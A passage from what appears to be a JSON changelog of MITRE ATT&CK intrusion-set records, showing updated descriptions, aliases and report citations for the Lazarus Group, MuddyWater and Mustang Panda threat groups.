"x_mitre_version": "5.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 01:29:21.748000+00:00\", \"old_value\": \"2025-04-16 17:21:11.622000+00:00\"}, \"root['description']\": {\"new_value\": \"[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB). (Citation: US-CERT HIDDEN COBRA June 2017) (Citation: Treasury North Korean Cyber Groups September 2019) [Lazarus Group](https://attack.mitre.org/groups/G0032) has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster)\\n\\nNorth Korea\\u2019s cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses \\u201cLazarus Group\\u201d as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.(Citation: Mandiant DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025)\\n\\n\", \"old_value\": \"[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster)\\n\\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,4 @@\\n-[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster)\\n+[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB). (Citation: US-CERT HIDDEN COBRA June 2017) (Citation: Treasury North Korean Cyber Groups September 2019) [Lazarus Group](https://attack.mitre.org/groups/G0032) has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster)\\n \\n-North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). \\n+North Korea\\u2019s cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses \\u201cLazarus Group\\u201d as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.(Citation: Mandiant DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025)\\n+\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"5.0\", \"old_value\": \"4.1\"}}, \"iterable_item_added\": {\"root['external_references'][8]\": {\"source_name\": \"Mandiant DPRK Groups 2023\", \"description\": \"Michael Barnhart, Austin Larsen, Jeff Johnson, Taylor Long, Michelle Cantos, Adrian Hernandez. (2023, October 10). Assessed Cyber Structure and Alignments of North Korea in 2023. Retrieved August 25, 2025.\", \"url\": \"https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023\"}, \"root['external_references'][9]\": {\"source_name\": \"Mandiant DPRK Laz Org Breakdown 2022\", \"description\": \"Michael Barnhart, Michelle Cantos, Jeffery Johnson, Elias fox, Gary Freas, Dan Scott. (2022, March 23). Not So Lazarus: Mapping DPRK Cyber Threat Groups to Government Organizations. Retrieved September 9, 2025.\", \"url\": \"https://cloud.google.com/blog/topics/threat-intelligence/mapping-dprk-groups-to-government/\"}, \"root['external_references'][18]\": {\"source_name\": \"JPCert Blog Laz Subgroups 2025\", \"description\": \"\\u4f50\\u3005\\u6728\\u52c7\\u4eba Hayato Sasaki. (2025, March 25). Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus\\u2019s Subgroup. Retrieved August 25, 2025.\", \"url\": \"https://blogs.jpcert.or.jp/en/2025/03/classifying-lazaruss-subgroup.html\"}}}", + "previous_version": "4.1", + "version_change": "4.1 \u2192 5.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Lazarus Group](https://attack.mitre.org/groups/G0032) is a t1[Lazarus Group](https://attack.mitre.org/groups/G0032) is a 
>North Korean state-sponsored cyber threat group that has bee>North Korean state-sponsored cyber threat group attributed t
>n attributed to the Reconnaissance General Bureau.(Citation:>o the Reconnaissance General Bureau (RGB). (Citation: US-CER
> US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko>T HIDDEN COBRA June 2017) (Citation: Treasury North Korean C
>rean Cyber Groups September 2019) The group has been active >yber Groups September 2019) [Lazarus Group](https://attack.m
>since at least 2009 and was reportedly responsible for the N>itre.org/groups/G0032) has been active since at least 2009 a
>ovember 2014 destructive wiper attack against Sony Pictures >nd is reportedly responsible for the November 2014 destructi
>Entertainment as part of a campaign named Operation Blockbus>ve wiper attack on Sony Pictures Entertainment, identified b
>ter by Novetta. Malware used by [Lazarus Group](https://atta>y Novetta as part of Operation Blockbuster. Malware used by 
>ck.mitre.org/groups/G0032) correlates to other reported camp>[Lazarus Group](https://attack.mitre.org/groups/G0032) corre
>aigns, including Operation Flame, Operation 1Mission, Operat>lates to other reported campaigns, including Operation Flame
>ion Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta>, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Day
> Blockbuster)  North Korean group definitions are known to h>s of Rain.(Citation: Novetta Blockbuster)  North Korea\u2019s cyb
>ave significant overlap, and some security researchers repor>er operations have shown a consistent pattern of adaptation,
>t all North Korean state-sponsored cyber activity under the > forming and reorganizing units as national priorities shift
>name [Lazarus Group](https://attack.mitre.org/groups/G0032) >. These units frequently share personnel, infrastructure, ma
>instead of tracking clusters or subgroups, such as [Andariel>lware, and tradecraft, making it difficult to attribute spec
>](https://attack.mitre.org/groups/G0138), [APT37](https://at>ific operations with high confidence. Public reporting often
>tack.mitre.org/groups/G0067), [APT38](https://attack.mitre.o> uses \u201cLazarus Group\u201d as an umbrella term for multiple North
>rg/groups/G0082), and [Kimsuky](https://attack.mitre.org/gro> Korean cyber operators conducting espionage, destructive at
>ups/G0094).   >tacks, and financially motivated campaigns.(Citation: Mandia
 >nt DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Grou
 >ps 2023)(Citation: JPCert Blog Laz Subgroups 2025)  
" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-22 19:08:44.552000+00:00", + "name": "MuddyWater", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) is a cyber espionage group assessed to be a subordinate element within Iran's Ministry of Intelligence and Security (MOIS).(Citation: CYBERCOM Iranian Intel Cyber January 2022) Since at least 2017, [MuddyWater](https://attack.mitre.org/groups/G0069) has targeted a range of government and private organizations across sectors, including telecommunications, local government, defense, and oil and natural gas organizations, in the Middle East, Asia, Africa, Europe, and North America.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: Talos MuddyWater Jan 2022)", + "aliases": [ + "MuddyWater", + "Earth Vetala", + "MERCURY", + "Static Kitten", + "Seedworm", + "TEMP.Zagros", + "Mango Sandstorm", + "TA450" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0069", + "external_id": "G0069" + }, + { + "source_name": "MERCURY", + "description": "(Citation: Anomali Static Kitten February 2021)" + }, + { + "source_name": "Static Kitten", + "description": "(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)" + }, + { + "source_name": "TEMP.Zagros", + "description": "(Citation: FireEye MuddyWater Mar 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)" + }, + { + "source_name": "Mango Sandstorm", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "TA450", + "description": "(Citation: Proofpoint TA450 Phishing March 2024)" + }, + { + "source_name": "Seedworm", + "description": "(Citation: Symantec MuddyWater Dec 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)" + }, + { + "source_name": "Earth Vetala", + "description": "(Citation: Trend Micro Muddy Water March 2021)" + }, + { + "source_name": "MuddyWater", + "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "source_name": "ClearSky MuddyWater June 2019", + "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020.", + "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf" + }, + { + "source_name": "CYBERCOM Iranian Intel Cyber January 2022", + "description": "Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.", + "url": "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/" + }, + { + "source_name": "DHS CISA AA22-055A MuddyWater February 2022", + "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a" + }, + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "Talos MuddyWater Jan 2022", + "description": "Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.", + "url": "https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html" + }, + { + "source_name": "Anomali Static Kitten February 2021", + "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.", + "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Proofpoint TA450 Phishing March 2024", + "description": "Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign" + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html" + }, + { + "source_name": "Reaqta MuddyWater November 2017", + "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.", + "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/" + }, + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Ozer Sarilar, @ozersarilar, STM", + "Daniyal Naeem, BT Security", + "Marco Pedrinazzi, @pedrinazziM" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "6.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 19:08:44.552000+00:00\", \"old_value\": \"2024-08-29 14:59:08.071000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"6.0\", \"old_value\": \"5.1\"}}, \"iterable_item_added\": {\"root['x_mitre_domains'][1]\": \"mobile-attack\"}}", + "previous_version": "5.1", + "version_change": "5.1 \u2192 6.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-04-12 15:56:28.861000+00:00", + "modified": "2025-10-23 18:52:40.872000+00:00", + "name": "Mustang Panda", + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that has been conducting operations since at least 2012. [Mustang Panda](https://attack.mitre.org/groups/G0129) has been known to use tailored phishing lures and decoy documents to deliver malicious payloads. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government, diplomatic, and non-governmental organizations, including think tanks, religious institutions, and research entities, across the United States, Europe, and Asia, with notable activity in Russia, Mongolia, Myanmar, Pakistan, and Vietnam. (Citation: BlackBerry MUSTANG PANDA October 2022)(Citation: Eset PlugX Korplug Mustang Panda March 2022)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: DOJ Affidavit Search and Seizure PlugX December 2024)(Citation: EclecticIQ Mustang Panda PlugX)(Citation: ATTACKIQ MUSTANG PANDA TONESHELL March 2023)(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Palo Alto Networks, Unit 42)(Citation: Sophos PlugX September 2022)(Citation: Sophos Mustang Panda PLUGX)(Citation: Zscaler)", + "aliases": [ + "Mustang Panda", + "TA416", + "RedDelta", + "BRONZE PRESIDENT", + "STATELY TAURUS", + "FIREANT", + "CAMARO DRAGON", + "EARTH PRETA", + "HIVE0154", + "TWILL TYPHOON", + "TANTALUM", + "LUMINOUS MOTH", + "UNC6384", + "TEMP.Hex", + "Red Lich" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0129", + "external_id": "G0129" + }, + { + "source_name": "EARTH PRETA", + "description": "(Citation: 2022 November_TrendMicro_Earth Preta_Toneshell_Pubload)(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)(Citation: Trend Micro Mustang Panda Earth Preta Toneshell February 2025)(Citation: Trend Micro Mustang Panda Earth Preta TONESHELL June 2023)" + }, + { + "source_name": "FIREANT", + "description": "(Citation: Broadcom)" + }, + { + "source_name": "Mustang Panda", + "description": "(Citation: Crowdstrike MUSTANG PANDA June 2018)" + }, + { + "source_name": "UNC6384", + "description": "(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)" + }, + { + "source_name": "TEMP.Hex", + "description": "(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)" + }, + { + "source_name": "CAMARO DRAGON", + "description": "(Citation: HorseShell)" + }, + { + "source_name": "HIVE0154", + "description": "(Citation: IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025)(Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)" + }, + { + "source_name": "TWILL TYPHOON", + "description": "(Citation: Microsoft Naming Conventions Frequently Updated)" + }, + { + "source_name": "TANTALUM", + "description": "(Citation: Microsoft Naming Conventions Frequently Updated)" + }, + { + "source_name": "LUMINOUS MOTH", + "description": "(Citation: Microsoft Naming Conventions Frequently Updated)" + }, + { + "source_name": "STATELY TAURUS", + "description": "(Citation: Palo Alto Networks, Unit 42)(Citation: Unit42 Bookworm Nov2015)(Citation: Unit42 Chinese VSCode 06 September 2024)(Citation: Broadcom)(Citation: Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023)(Citation: CSIRT CTI MUSTANG PANDA PUBLOAD TONESHELL JAN 2024)" + }, + { + "source_name": "TA416", + "description": "(Citation: Proofpoint TA416 November 2020)" + }, + { + "source_name": "Red Lich", + "description": "(Citation: PWC UK MUSTANG PANDA RED LICH February 2021)" + }, + { + "source_name": "RedDelta", + "description": "(Citation: Recorded Future REDDELTA July 2020)(Citation: Proofpoint TA416 Europe March 2022)" + }, + { + "source_name": "BRONZE PRESIDENT", + "description": "(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Sophos PlugX September 2022)(Citation: Sophos Mustang Panda PLUGX)" + }, + { + "source_name": "Eset PlugX Korplug Mustang Panda March 2022", + "description": "Alexandre Cote Cyr. (2022, March 23). Mustang Panda\u2019s Hodur: Old tricks, new Korplug variant. Retrieved September 9, 2025.", + "url": "https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/" + }, + { + "source_name": "Anomali MUSTANG PANDA October 2019", + "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021.", + "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations" + }, + { + "source_name": "Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022", + "description": "Asheer Malhotra, Jungsoo An, Kendall Mc. (2022, May 5). Mustang Panda deploys a new wave of malware targeting Europe. Retrieved August 4, 2025.", + "url": "https://blog.talosintelligence.com/mustang-panda-targets-europe/" + }, + { + "source_name": "Broadcom", + "description": "Broadcom Protection Bulletins. (2025, February 20). Bookworm malware linked to Fireant (aka Stately Tarurus) activity observed in Southeast Asia. Retrieved July 21, 2025.", + "url": "https://www.broadcom.com/support/security-center/protection-bulletin/bookworm-malware-linked-to-fireant-aka-stately-tarurus-activity-observed-in-southeast-asia" + }, + { + "source_name": "HorseShell", + "description": "Cohen, Itay. Madej, Radoslaw. Threat Intelligence Team. (2023, May 16). THE DRAGON WHO SOLD HIS CAMARO: ANALYZING CUSTOM ROUTER IMPLANT. Retrieved December 26, 2023.", + "url": "https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/" + }, + { + "source_name": "Secureworks BRONZE PRESIDENT December 2019", + "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021.", + "url": "https://www.secureworks.com/research/bronze-president-targets-ngos" + }, + { + "source_name": "CSIRT CTI MUSTANG PANDA PUBLOAD TONESHELL JAN 2024", + "description": "CSIRT CTI. (2024, January 23). Stately Taurus Targets Myanmar Amidst Concerns over Military Junta\u2019s Handling of Rebel Attacks. Retrieved August 4, 2025.", + "url": "https://csirt-cti.net/2024/01/23/stately-taurus-targets-myanmar/" + }, + { + "source_name": "DOJ Affidavit Search and Seizure PlugX December 2024", + "description": "DOJ. (2024, December 20). Mag. No. 24-mj-1387 AFFIDAVIT IN SUPPORT OF AN APPLICATION FOR A NINTH SEARCH AND SEIZURE WARRANT- IN THE MATTER OF THE SEARCH AND SEIZURE OF COMPUTERS IN THE UNITED STATES INFECTED WITH PLUGX MALWARE . Retrieved September 9, 2025.", + "url": "https://www.justice.gov/archives/opa/media/1384136/dl" + }, + { + "source_name": "EclecticIQ Mustang Panda PlugX", + "description": "EclecticIQ Threat Research Team. (2023, February 2). Mustang Panda APT Group Uses European Commission-Themed Lure to Deliver PlugX Malware. Retrieved September 9, 2025.", + "url": "https://blog.eclecticiq.com/mustang-panda-apt-group-uses-european-commission-themed-lure-to-deliver-plugx-malware" + }, + { + "source_name": "IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025", + "description": "Golo Muhr, Joshua Chung. (2025, June 23). Hive0154 aka Mustang Panda shifts focus on Tibetan community to deploy Pubload backdoor. Retrieved August 4, 2025.", + "url": "https://www.ibm.com/think/x-force/hive0154-mustang-panda-shifts-focus-tibetan-community-deploy-pubload-backdoor" + }, + { + "source_name": "2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA", + "description": "Golo Muhr, Joshua Chung. (2025, May 15). Hive0154 targeting US, Philippines, Pakistan and Taiwan in suspected espionage campaign. Retrieved August 4, 2025.", + "url": "https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan" + }, + { + "source_name": "Recorded Future REDDELTA July 2020", + "description": "Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021.", + "url": "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf" + }, + { + "source_name": "ATTACKIQ MUSTANG PANDA TONESHELL March 2023", + "description": "Ken Towne, Francis Guibernau. (2023, March 23). Emulating the Politically Motivated Chinese APT Mustang Panda. Retrieved September 10, 2025.", + "url": "https://www.attackiq.com/2023/03/23/emulating-the-politically-motivated-chinese-apt-mustang-panda/" + }, + { + "source_name": "Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024", + "description": "Lenart Bermejo, Sunny Lu, Ted Lee. (2024, September 9). Earth Preta Evolves its Attacks with New Malware and Strategies. Retrieved August 4, 2025.", + "url": "https://www.trendmicro.com/en_us/research/24/i/earth-preta-new-malware-and-strategies.html" + }, + { + "source_name": "Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023", + "description": "Lior Rochberger, Tom Fakterman, Robert Falcone. (2023, September 22). Cyberespionage Attacks Against Southeast Asian Government Linked to Stately Taurus, Aka Mustang Panda. Retrieved September 9, 2025.", + "url": "https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/" + }, + { + "source_name": "Crowdstrike MUSTANG PANDA June 2018", + "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/" + }, + { + "source_name": "Microsoft Naming Conventions Frequently Updated", + "description": "Microsoft. (2025, September 8). How Microsoft names threat actors. Retrieved September 10, 2025.", + "url": "https://learn.microsoft.com/en-us/unified-secops-platform/microsoft-threat-actor-naming" + }, + { + "source_name": "Trend Micro Mustang Panda Earth Preta Toneshell February 2025", + "description": "Nathaniel Morales, Nick Dai. (2025, February 18). Earth Preta Mixes Legitimate and Malicious Components to Sidestep Detection. Retrieved September 10, 2025.", + "url": "https://www.trendmicro.com/en_us/research/25/b/earth-preta-mixes-legitimate-and-malicious-components-to-sidestep-detection.html" + }, + { + "source_name": "2022 November_TrendMicro_Earth Preta_Toneshell_Pubload", + "description": "Nick Dai, Vickie Su, Sunny Lu. (2022, November 18). Earth Preta Spear-Phishing Governments Worldwide. Retrieved August 4, 2025.", + "url": "https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html" + }, + { + "source_name": "Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025", + "description": "Patrick Whitsell. (2025, August 25). Deception in Depth: PRC-Nexus Espionage Campaign Hijacks Web Traffic to Target Diplomats. Retrieved September 9, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/prc-nexus-espionage-targets-diplomats" + }, + { + "source_name": "Proofpoint TA416 November 2020", + "description": "Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader" + }, + { + "source_name": "PWC UK MUSTANG PANDA RED LICH February 2021", + "description": "PWC UK. (2021, February 28). Cyber Threats 2020: A Year in Retrospect. Retrieved October 15, 2025.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" + }, + { + "source_name": "Proofpoint TA416 Europe March 2022", + "description": "Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european" + }, + { + "source_name": "Unit42 Bookworm Nov2015", + "description": "Robert Falcone, Mike Scott, Juan Cortes. (2015, November 10). Bookworm Trojan: A Model of Modular Architecture. Retrieved July 21, 2025.", + "url": "https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/" + }, + { + "source_name": "Palo Alto Networks, Unit 42", + "description": "Robert Falcone. (2025, February 20). Stately Taurus Activity in Southeast Asia Links to Bookworm Malware. Retrieved July 21, 2025.", + "url": "https://unit42.paloaltonetworks.com/stately-taurus-uses-bookworm-malware/" + }, + { + "source_name": "Sophos PlugX September 2022", + "description": "Secureworks Counter Threat Unit Research Team. (2022, April 27). BRONZE PRESIDENT Targets Russian Speakers with Updated PlugX. Retrieved September 9, 2025.", + "url": "https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx" + }, + { + "source_name": "Sophos Mustang Panda PLUGX", + "description": "Secureworks Counter Threat Unit Research Team. (2022, September 8). BRONZE PRESIDENT Targets Government Officials. Retrieved September 9, 2025.", + "url": "https://www.secureworks.com/blog/bronze-president-targets-government-officials" + }, + { + "source_name": "Zscaler", + "description": "Sudeep Singh. (2025, April 16). Latest Mustang Panda Arsenal: ToneShell and StarProxy | P1. Retrieved July 21, 2025.", + "url": "https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-toneshell-and-starproxy-p1" + }, + { + "source_name": "Trend Micro Mustang Panda Earth Preta TONESHELL June 2023", + "description": "Sunny Lu, Vickie Su, Nick Dai. (2023, June 14). Behind the Scenes: Unveiling the Hidden Workings of Earth Preta. Retrieved September 10, 2025.", + "url": "https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html" + }, + { + "source_name": "BlackBerry MUSTANG PANDA October 2022", + "description": "The BlackBerry Research and Intelligence Team. (2022, October 6). Mustang Panda Abuses Legitimate Apps to Target 